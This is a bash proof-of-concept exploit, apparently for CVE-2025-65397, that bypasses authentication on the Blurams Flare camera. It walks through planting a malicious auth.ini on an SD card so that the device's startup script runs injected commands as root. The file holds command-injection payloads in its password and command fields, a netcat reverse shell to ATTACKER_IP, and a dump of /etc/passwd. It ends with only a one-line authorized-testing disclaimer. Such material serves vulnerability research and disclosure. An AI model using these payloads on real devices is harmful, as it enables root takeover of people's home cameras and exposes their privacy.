CVE-2025-65397

#!/bin/bash # CVE-2025-65397 PoC - Blurams Flare Camera Authentication Bypass # Author: Security Researcher # Description: Exploit for unsafe authentication in safe_exec.sh startup script # Prerequisites: Physical access to Blurams Flare Camera device # Step 1: Prepare SD card (must be FAT32 formatted) # Insert SD card and format it # sudo mkfs.vfat -F 32 /dev/sdX # Step 2: Create malicious auth.ini file # The auth.ini file contains authentication data that exploits # the insecure fallback authentication mechanism cat > auth.ini << 'EOF' [auth] username=root password=;reboot; # Alternative payload for reverse shell: # password=;nc -e /bin/sh ATTACKER_IP 4444; [exec] command=;cat /etc/passwd > /tmp/passwd_dump;chmod 777 /tmp/passwd_dump; EOF # Step 3: Copy malicious auth.ini to SD card root cp auth.ini /media/sdcard/ # Step 4: Insert SD card into Blurams Flare Camera device # Ensure /opt/images/public_key.der does NOT exist on the device # If it exists, the device uses secure authentication # Step 5: Reboot the device # The safe_exec.sh startup script will: # - Check for /opt/images/public_key.der (should not exist) # - Fall back to reading auth.ini from SD card # - Execute commands with root privileges # Step 6: Extract data after exploitation # ssh root@device_ip # or access via UART/JTAG # Note: This PoC demonstrates the vulnerability. Use only for authorized testing.
